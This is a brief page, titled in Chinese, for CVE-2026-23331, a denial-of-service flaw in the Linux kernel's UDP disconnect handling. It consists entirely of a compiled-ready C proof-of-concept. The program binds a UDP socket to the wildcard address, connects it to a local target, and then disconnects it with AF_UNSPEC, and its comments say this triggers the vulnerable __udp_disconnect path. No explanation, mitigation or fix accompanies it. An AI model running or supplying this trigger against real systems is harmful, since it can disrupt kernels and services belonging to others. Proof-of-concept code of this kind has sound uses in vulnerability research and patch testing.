CVE-2026-23331 Linux内核UDP断开连接DoS漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> int main() { int sock; struct sockaddr_in addr; struct sockaddr_in target; struct sockaddr_in disconnect_addr; // Create UDP socket sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } // 1. Bind to wildcard address (INADDR_ANY) with a non-zero port memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(12345); if (bind(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return 1; } // 2. Connect to a specific address to enter 4-tuple hash table memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr("127.0.0.1"); target.sin_port = htons(80); if (connect(sock, (struct sockaddr*)&target, sizeof(target)) < 0) { perror("connect"); close(sock); return 1; } // 3. Disconnect the socket // Connecting to AF_UNSPEC disconnects a datagram socket // This triggers the vulnerable path in __udp_disconnect memset(&disconnect_addr, 0, sizeof(disconnect_addr)); disconnect_addr.sin_family = AF_UNSPEC; if (connect(sock, (struct sockaddr*)&disconnect_addr, sizeof(disconnect_addr)) < 0) { // Depending on kernel config, this might return error, // but the logic path is often attempted. perror("disconnect"); } printf("Triggered: Socket bound, connected, and disconnected.\n"); close(sock); return 0; }